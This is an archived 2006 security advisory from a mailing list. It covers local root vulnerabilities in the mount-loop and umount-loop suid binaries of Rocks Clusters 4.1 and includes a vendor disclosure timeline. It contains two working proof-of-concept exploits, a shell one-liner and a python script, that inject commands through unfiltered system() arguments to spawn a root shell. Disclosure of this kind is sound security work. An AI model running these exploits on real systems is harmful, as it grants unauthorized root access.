Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [UNIX] Rocks Clusters Local Root Vulnerabilities |
|---|---|
| Date: | 23 Jul 2006 15:56:25 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - Rocks Clusters Local Root Vulnerabilities ------------------------------------------------------------------------ SUMMARY " <http://distrowatch.com/table.php?distribution=rockscluster> Rocks is a complete "cluster on a CD" solution for x86 and IA64 Red Hat Linux COTS clusters. Building a Rocks cluster does not require any experience in clustering, yet a cluster architect will find a flexible and programmatic way to redesign the entire software stack just below the surface (appropriately hidden from the majority of users). Although Rocks includes the tools expected from any clustering software stack (PBS, Maui, GM support, Ganglia, etc), it is unique in its simplicity of installation." Rocks Clusters is vulnerable to local root privilege escalation due to improper validating of arguments in two of its suid and world executable binaries, "mount-loop" and "umount-loop". DETAILS Vulnerable Systems: * Rocks Clusters version 4.1 1) mount-loop: mount-loop is a binary that is distributed with suid root and is world executable. The problem is the program does not properly filter args to be used in a system() execution. An attacker could gain root from command line. A <http://cvs.rocksclusters.org/viewcvs/viewcvs.cgi/rocks/src/roll/base/src/dist/mount-loop.c?rev=1.4&content-type=text/vnd.viewcvs-markup> link to its source can be found below. PoC provided below: #!/bin/sh ############################################## ## rocksmountdirty.sh: Rocks release <=4.1 local root exploit ## make sure 'mount-loop' is in your path for this to work. ## ## coded by: xavier@tigerteam.se [http://xavsec.blogspot.com] ############################################## echo "Rocks Clusters <=4.1 mount-loop local root exploit by xavier@tigerteam.se [http://xavsec.blogspot.com]" echo "getting root.. goodluck" mount-loop "null" "null" "null; python -c 'import os;os.setuid(0);os.setgid(0);os.execl(\"/bin/sh\", \"/usr/sbin/httpd\")'" 2) umount-loop: umount-loop is a binary that is distributed with suid root and is world executable. The problem is the program does not properly filter args to be used in a system() execution. An attacker could gain root from command line. A <http://cvs.rocksclusters.org/viewcvs/viewcvs.cgi/rocks/src/roll/base/src/dist/umount-loop.c?rev=1.4&content-type=text/vnd.viewcvs-markup> link to its source can be found below. PoC provided below: #!/usr/bin/env python ############################################## ## rocksumountdirty.py: Rocks release <=4.1 local root exploit ## quick and nasty version of the exploit. make sure the . is writable and ## you clean up afterwards. ;) ## ## coded by: xavier@tigerteam.se [http://xavsec.blogspot.com] ############################################## x=__import__('os');c=x.getcwd() open('%s/x'%c, 'a').write("#!/bin/sh\ncp /bin/ksh %s/shell\nchmod a+xs %s/shell\nchown root.root %s/shell\n" % (c,c,c)) print "Rocks Clusters <=4.1 umount-loop local root exploit by xavier@tigerteam.se [http://xavsec.blogspot.com]" x.system('umount-loop "\`sh %s/x\`"'%c);x.system("%s/shell"%c) Vendor Response: May 31, 2006: Initial contact Jun 1, 2006: Response, Disclosure, Verification of bug, redirected to another project Contact. Fixed in CVS Jun 9, 2006: Attempted contact after 8 days of silence Jun 28, 2006: Project releases Rocks v4.2 Beta with fix Jun 30, 2006: Attempted contact after 29 days of silence Jul 5, 2006: No contact ADDITIONAL INFORMATION The information has been provided by <mailto:xavier@tigerteam.se> Xavier de Leon. The original article can be found at: <http://xavier.tigerteam.se/advisories/TSEAD-200606-6.txt> http://xavier.tigerteam.se/advisories/TSEAD-200606-6.txt ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [UNIX] MiniBB Forum File Inclusion Vulnerabilities, SecuriTeam |
|---|---|
| Next by Date: | [UNIX] Apache Tomcat 5.x.x Directory Listing, SecuriTeam |
| Previous by Thread: | [UNIX] MiniBB Forum File Inclusion Vulnerabilities, SecuriTeam |
| Next by Thread: | [UNIX] Apache Tomcat 5.x.x Directory Listing, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |